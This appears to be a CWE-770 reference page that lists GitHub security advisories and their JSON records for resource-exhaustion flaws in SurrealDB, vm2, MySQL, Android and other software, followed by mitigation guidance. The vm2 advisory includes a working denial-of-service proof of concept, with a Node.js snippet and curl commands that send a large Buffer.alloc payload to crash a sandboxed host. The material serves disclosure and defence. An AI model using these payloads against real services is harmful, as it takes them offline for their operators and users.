CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3023 vulnerabilities reference this CWE, most recent first.
GHSA-65RJ-R9FH-JP2V
Vulnerability from github – Published: 2026-07-01 20:15 – Updated: 2026-07-01 20:15An anonymous caller could degrade /sql availability by streaming WebSocket frames many times larger than the operator-configured per-connection limit. The /sql upgrade handler accepted anonymous connections and did not propagate SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE to the WebSocket protocol layer — incoming bytes accumulated in the per-connection read buffer before check_anon could reject the query, so the memory cost was incurred regardless of whether the caller could ever execute SurrealQL. The same upgrade path also silently ignored --deny-http sql and --deny-arbitrary-query * for authenticated callers, but that secondary effect does not grant new permissions.
Impact
SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE is not applied to anonymous /sql connections, so each connection can buffer up to the WebSocket library defaults (16 MiB per frame, 64 MiB per reassembled message) of in-flight bytes regardless of the operator's configured limit. Holding this much memory pinned requires actively streaming bytes into the connection, so an attacker has to maintain bandwidth across many concurrent connections to consume meaningful memory. Within that constraint the result is degraded availability for legitimate /sql clients; on memory-constrained deployments the process may be OOM-killed and restarted during the attack rather than denied service outright.
Separately, --deny-http sql and --deny-arbitrary-query * were not enforced on the WebSocket, so SurrealQL operations the operator had configured to refuse could still be issued by any authenticated principal that already held the corresponding data permissions. This is a configuration-correctness defect — the bypass does not grant new permissions.
Patches
A patch has been introduced that performs the two capability checks before calling on_upgrade and applies the same per-connection size limits used by /rpc. The capability checks enforce the operator's configured deny flags; they do not change what any authenticated principal is permitted to do.
- Versions 3.1.0 and later are not affected by this issue.
Workarounds
Affected users who are unable to update should refuse GET /sql requests carrying Upgrade: websocket at a reverse proxy, or apply per-connection frame size limits at the reverse proxy.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T20:15:03Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "An anonymous caller could degrade `/sql` availability by streaming WebSocket frames many times larger than the operator-configured per-connection limit. The `/sql` upgrade handler accepted anonymous connections and did not propagate `SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE` to the WebSocket protocol layer \u2014 incoming bytes accumulated in the per-connection read buffer before `check_anon` could reject the query, so the memory cost was incurred regardless of whether the caller could ever execute SurrealQL. The same upgrade path also silently ignored `--deny-http sql` and `--deny-arbitrary-query *` for authenticated callers, but that secondary effect does not grant new permissions.\n\n### Impact\n\n`SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE` is not applied to anonymous `/sql` connections, so each connection can buffer up to the WebSocket library defaults (16 MiB per frame, 64 MiB per reassembled message) of in-flight bytes regardless of the operator\u0027s configured limit. Holding this much memory pinned requires actively streaming bytes into the connection, so an attacker has to maintain bandwidth across many concurrent connections to consume meaningful memory. Within that constraint the result is degraded availability for legitimate `/sql` clients; on memory-constrained deployments the process may be OOM-killed and restarted during the attack rather than denied service outright.\n\nSeparately, `--deny-http sql` and `--deny-arbitrary-query *` were not enforced on the WebSocket, so SurrealQL operations the operator had configured to refuse could still be issued by any authenticated principal that already held the corresponding data permissions. This is a configuration-correctness defect \u2014 the bypass does not grant new permissions.\n\n### Patches\n\nA patch has been introduced that performs the two capability checks before calling `on_upgrade` and applies the same per-connection size limits used by `/rpc`. The capability checks enforce the operator\u0027s configured deny flags; they do not change what any authenticated principal is permitted to do.\n\n- Versions 3.1.0 and later are not affected by this issue.\n\n### Workarounds\n\nAffected users who are unable to update should refuse `GET /sql` requests carrying `Upgrade: websocket` at a reverse proxy, or apply per-connection frame size limits at the reverse proxy.",
"id": "GHSA-65rj-r9fh-jp2v",
"modified": "2026-07-01T20:15:03Z",
"published": "2026-07-01T20:15:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-65rj-r9fh-jp2v"
},
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/commit/899967e6a9cf064c88a4bc4b35ea7e2da28a6411"
},
{
"type": "PACKAGE",
"url": "https://github.com/surrealdb/surrealdb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "SurrealDB vulnerable to pre-auth memory amplification via unbounded `/sql` WebSocket frames"
}
GHSA-65V2-J9GJ-4V72
Vulnerability from github – Published: 2023-01-26 21:30 – Updated: 2023-02-01 18:30In multiple functions of AutomaticZenRule.java, there is a possible failure to persist permissions settings due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-242703505
{
"affected": [],
"aliases": [
"CVE-2022-20490"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-26T21:15:00Z",
"severity": "HIGH"
},
"details": "In multiple functions of AutomaticZenRule.java, there is a possible failure to persist permissions settings due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-242703505",
"id": "GHSA-65v2-j9gj-4v72",
"modified": "2023-02-01T18:30:31Z",
"published": "2023-01-26T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20490"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2023-01-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6624-25M9-QRX8
Vulnerability from github – Published: 2021-12-17 00:00 – Updated: 2021-12-21 00:00A regular expression denial of service (ReDoS) vulnerability exits in cbioportal 3.6.21 and older via a POST request to /ProteinArraySignificanceTest.json.
{
"affected": [],
"aliases": [
"CVE-2021-38244"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-16T19:15:00Z",
"severity": "HIGH"
},
"details": "A regular expression denial of service (ReDoS) vulnerability exits in cbioportal 3.6.21 and older via a POST request to /ProteinArraySignificanceTest.json.",
"id": "GHSA-6624-25m9-qrx8",
"modified": "2021-12-21T00:00:52Z",
"published": "2021-12-17T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38244"
},
{
"type": "WEB",
"url": "https://github.com/cBioPortal/cbioportal/issues/8680"
},
{
"type": "WEB",
"url": "https://github.com/cBioPortal/cbioportal/pull/8751"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-66F8-VGGG-RHQG
Vulnerability from github – Published: 2023-06-15 21:30 – Updated: 2024-04-04 04:52In doInBackground of NotificationContentInflater.java, there is a possible temporary denial or service due to long running operations. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-252766417
{
"affected": [],
"aliases": [
"CVE-2023-21144"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-15T19:15:10Z",
"severity": "HIGH"
},
"details": "In doInBackground of NotificationContentInflater.java, there is a possible temporary denial or service due to long running operations. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-252766417",
"id": "GHSA-66f8-vggg-rhqg",
"modified": "2024-04-04T04:52:39Z",
"published": "2023-06-15T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21144"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2023-06-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-66FC-RW6M-C2Q6
Vulnerability from github – Published: 2026-01-21 17:05 – Updated: 2026-01-22 15:44Overriding encoded array lengths by replacing them with an excessively large value causes the deserialization process to significantly increase processing time.
Mitigation:
Seroval no longer encodes array lengths.
Instead, it computes length using Array.prototype.length during deserialization.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.0"
},
"package": {
"ecosystem": "npm",
"name": "seroval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23957"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T17:05:54Z",
"nvd_published_at": "2026-01-22T02:15:52Z",
"severity": "HIGH"
},
"details": "Overriding encoded array lengths by replacing them with an excessively large value causes the deserialization process to **significantly increase processing time**. \n\n**Mitigation**: \n`Seroval` no longer encodes array lengths.\nInstead, it computes length using `Array.prototype.length` during deserialization.",
"id": "GHSA-66fc-rw6m-c2q6",
"modified": "2026-01-22T15:44:01Z",
"published": "2026-01-21T17:05:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-66fc-rw6m-c2q6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23957"
},
{
"type": "WEB",
"url": "https://github.com/lxsmnsyc/seroval/commit/ce9408ebc87312fcad345a73c172212f2a798060"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxsmnsyc/seroval"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Seroval affected by Denial of Service via Array serialization"
}
GHSA-66J9-WX8R-QGQQ
Vulnerability from github – Published: 2025-05-05 21:31 – Updated: 2025-11-03 21:33IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5.0 through 11.5.9 and 12.1.0 through 12.1.1
could allow an authenticated user to cause a denial of service when connecting to a z/OS database due to improper handling of automatic client rerouting.
{
"affected": [],
"aliases": [
"CVE-2025-1000"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-05T21:15:47Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5.0 through 11.5.9 and 12.1.0 through 12.1.1 \n\ncould allow an authenticated user to cause a denial of service when connecting to a z/OS database due to improper handling of automatic client rerouting.",
"id": "GHSA-66j9-wx8r-qgqq",
"modified": "2025-11-03T21:33:47Z",
"published": "2025-05-05T21:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1000"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250516-0002"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7232528"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-66JQ-2C23-2XH5
Vulnerability from github – Published: 2025-11-25 20:40 – Updated: 2025-12-17 00:35Impact
Affected versions are vulnerable to DoS attacks because the snappy decoder ignored VictoriaMetrics request size limits allowing malformed blocks to trigger excessive memory use. This could lead to OOM errors and service instability. The fix enforces block-size checks based on MaxRequest limits.
Patches
Versions 1.129.1, 1.122.8, 1.110.23
Resources
- https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.129.1
- https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.122.8
- https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.110.23
Note
VictoriaMetrics' security model assumes its APIs are properly secured (e.g. via access control flags or a firewall); this advisory addresses malicious input that should not be possible under a correctly secured deployment.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/VictoriaMetrics/VictoriaMetrics"
},
"ranges": [
{
"events": [
{
"introduced": "1.123.0"
},
{
"fixed": "1.129.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/VictoriaMetrics/VictoriaMetrics"
},
"ranges": [
{
"events": [
{
"introduced": "1.111.0"
},
{
"fixed": "1.122.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/VictoriaMetrics/VictoriaMetrics"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.110.23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65942"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-25T20:40:13Z",
"nvd_published_at": "2025-11-25T23:15:47Z",
"severity": "LOW"
},
"details": "### Impact\nAffected versions are vulnerable to DoS attacks because the snappy decoder ignored VictoriaMetrics request size limits allowing malformed blocks to trigger excessive memory use. This could lead to OOM errors and service instability. The fix enforces block-size checks based on MaxRequest limits.\n\n### Patches\nVersions 1.129.1, 1.122.8, 1.110.23\n\n### Resources\n - https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.129.1\n - https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.122.8\n - https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.110.23\n \n### Note \nVictoriaMetrics\u0027 security model assumes its APIs are properly secured (e.g. via access control flags or a firewall); this advisory addresses malicious input that should not be possible under a [correctly secured](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#security) deployment.",
"id": "GHSA-66jq-2c23-2xh5",
"modified": "2025-12-17T00:35:05Z",
"published": "2025-11-25T20:40:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/VictoriaMetrics/VictoriaMetrics/security/advisories/GHSA-66jq-2c23-2xh5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65942"
},
{
"type": "WEB",
"url": "https://github.com/VictoriaMetrics/VictoriaMetrics/commit/51b44afd34d2c9a392d4ebedeeb5b4a7f5beca24"
},
{
"type": "PACKAGE",
"url": "https://github.com/VictoriaMetrics/VictoriaMetrics"
},
{
"type": "WEB",
"url": "https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.110.23"
},
{
"type": "WEB",
"url": "https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.122.8"
},
{
"type": "WEB",
"url": "https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.129.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "VictoriaMetrics\u0027 Snappy Decoder DoS Vulnerability is Causing OOM"
}
GHSA-66M7-C7F3-VVV3
Vulnerability from github – Published: 2025-10-21 21:33 – Updated: 2025-10-21 21:33Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Components Services). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-53069"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-21T20:20:48Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Components Services). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-66m7-c7f3-vvv3",
"modified": "2025-10-21T21:33:42Z",
"published": "2025-10-21T21:33:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53069"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6785-PVV7-MVG7
Vulnerability from github – Published: 2026-05-07 04:26 – Updated: 2026-05-14 20:36Summary
Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.
Details
In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.
Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)):
- JavaScript loops: V8 can interrupt via timeout — vm2's timeout option works
- Buffer.alloc(N): Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt
This means:
1. timeout: 5000 does NOT protect against this attack
2. A single call allocates the entire requested size at once
3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash
Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).
PoC
Library-level PoC (Node.js script — primary):
const { VM } = require("vm2");
const vm = new VM({ timeout: 5000 });
// Buffer.alloc bypasses timeout — allocates 100MB on host heap
const result = vm.run(`Buffer.alloc(1024*1024*100).length`);
console.log(result); // 104857600 — timeout had no effect
// Control test — JavaScript loop IS caught by timeout
try {
vm.run(`var a=[]; while(true) a.push(1)`);
} catch(e) {
console.log(e.message); // "Script execution timed out after 5000ms"
}
HTTP demonstration (OOM crash):
# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
-X POST -H "Content-Type: application/json" \
-d '{"code":"\"alive\""}'
# => {"result":"\"alive\""}
# 2. Send Buffer.alloc payload — process crashes with OOM
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"Buffer.alloc(1024*1024*100).length"}'
# => empty response (process died)
# 3. Check server logs:
# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
# Control test — JavaScript loop IS caught by timeout:
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"var a=[]; while(true) a.push(1)"}'
# => {"errors":["Script execution timed out after 5000ms"]}
# Server stays alive — timeout works for JS, but NOT for Buffer.alloc
Impact
- DoS: A single HTTP request crashes the host Node.js process via OOM. The
timeoutoption provides no protection. - Environment-dependent severity:
- Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario —
FATAL ERROR: Reached heap limitwas confirmed in testing. - Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.
- Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.5"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44004"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T04:26:39Z",
"nvd_published_at": "2026-05-13T18:16:17Z",
"severity": "HIGH"
},
"details": "### Summary\nSandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2\u0027s `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`.\n\n### Details\nIn `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation.\n\nKey technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`):\n- **JavaScript loops**: V8 can interrupt via timeout \u2014 vm2\u0027s `timeout` option works\n- **`Buffer.alloc(N)`**: Executes as a single synchronous C++ call \u2014 V8 timeout has no opportunity to interrupt\n\nThis means:\n1. `timeout: 5000` does NOT protect against this attack\n2. A single call allocates the entire requested size at once\n3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash\n\nTested amplification factor: ~100 bytes HTTP request \u2014 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).\n\n### PoC\n\n**Library-level PoC (Node.js script \u2014 primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM({ timeout: 5000 });\n\n// Buffer.alloc bypasses timeout \u2014 allocates 100MB on host heap\nconst result = vm.run(`Buffer.alloc(1024*1024*100).length`);\nconsole.log(result); // 104857600 \u2014 timeout had no effect\n\n// Control test \u2014 JavaScript loop IS caught by timeout\ntry {\n vm.run(`var a=[]; while(true) a.push(1)`);\n} catch(e) {\n console.log(e.message); // \"Script execution timed out after 5000ms\"\n}\n```\n\n**HTTP demonstration (OOM crash):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n -X POST -H \"Content-Type: application/json\" \\\n -d \u0027{\"code\":\"\\\"alive\\\"\"}\u0027\n# =\u003e {\"result\":\"\\\"alive\\\"\"}\n\n# 2. Send Buffer.alloc payload \u2014 process crashes with OOM\ncurl -s -X POST http://localhost:3000/api/execute \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"code\":\"Buffer.alloc(1024*1024*100).length\"}\u0027\n# =\u003e empty response (process died)\n\n# 3. Check server logs:\n# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n\n# Control test \u2014 JavaScript loop IS caught by timeout:\ncurl -s -X POST http://localhost:3000/api/execute \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"code\":\"var a=[]; while(true) a.push(1)\"}\u0027\n# =\u003e {\"errors\":[\"Script execution timed out after 5000ms\"]}\n# Server stays alive \u2014 timeout works for JS, but NOT for Buffer.alloc\n```\n\n### Impact\n- **DoS**: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection.\n- **Environment-dependent severity**:\n - **Memory-constrained environments** (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario \u2014 `FATAL ERROR: Reached heap limit` was confirmed in testing.\n - **Unconstrained environments**: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.\n- **Scope**: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.",
"id": "GHSA-6785-pvv7-mvg7",
"modified": "2026-05-14T20:36:44Z",
"published": "2026-05-07T04:26:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44004"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion"
}
GHSA-67G8-C724-8MP3
Vulnerability from github – Published: 2023-03-16 17:22 – Updated: 2023-03-16 21:38An attacker could use a specially crafted graphql query to execute a Distributed Denial of Service attack (DDOS attack) against a website. This mostly affects websites with publicly exposed and particularly large/complex graphql schemas.
If your Silverstripe CMS project does not expose a public facing graphql schema, a user account is required to trigger the DDOS attack. If your site is hosted behind a content delivery network (CDN), such as Imperva or CloudFlare, this will likely further mitigate the risk.
Upgrade to silverstripe/graphql 4.2.3 or 4.1.2 or above to remedy the vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "silverstripe/graphql"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.1"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "silverstripe/graphql"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.2"
},
{
"fixed": "4.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-28104"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-16T17:22:17Z",
"nvd_published_at": "2023-03-16T16:15:00Z",
"severity": "HIGH"
},
"details": "An attacker could use a specially crafted graphql query to execute a Distributed Denial of Service attack (DDOS attack) against a website. This mostly affects websites with publicly exposed and particularly large/complex graphql schemas.\n\nIf your Silverstripe CMS project does not expose a public facing graphql schema, a user account is required to trigger the DDOS attack. If your site is hosted behind a content delivery network (CDN), such as Imperva or CloudFlare, this will likely further mitigate the risk.\n\nUpgrade to `silverstripe/graphql` 4.2.3 or 4.1.2 or above to remedy the vulnerability.",
"id": "GHSA-67g8-c724-8mp3",
"modified": "2023-03-16T21:38:40Z",
"published": "2023-03-16T17:22:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/silverstripe/silverstripe-graphql/security/advisories/GHSA-67g8-c724-8mp3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28104"
},
{
"type": "WEB",
"url": "https://github.com/silverstripe/silverstripe-graphql/pull/526"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/silverstripe/graphql/CVE-2023-28104.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/silverstripe/silverstripe-graphql"
},
{
"type": "WEB",
"url": "https://github.com/silverstripe/silverstripe-graphql/releases/tag/4.1.2"
},
{
"type": "WEB",
"url": "https://github.com/silverstripe/silverstripe-graphql/releases/tag/4.2.3"
},
{
"type": "WEB",
"url": "https://www.silverstripe.org/download/security-releases/CVE-2023-28104"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "DDOS attack on graphql endpoints"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
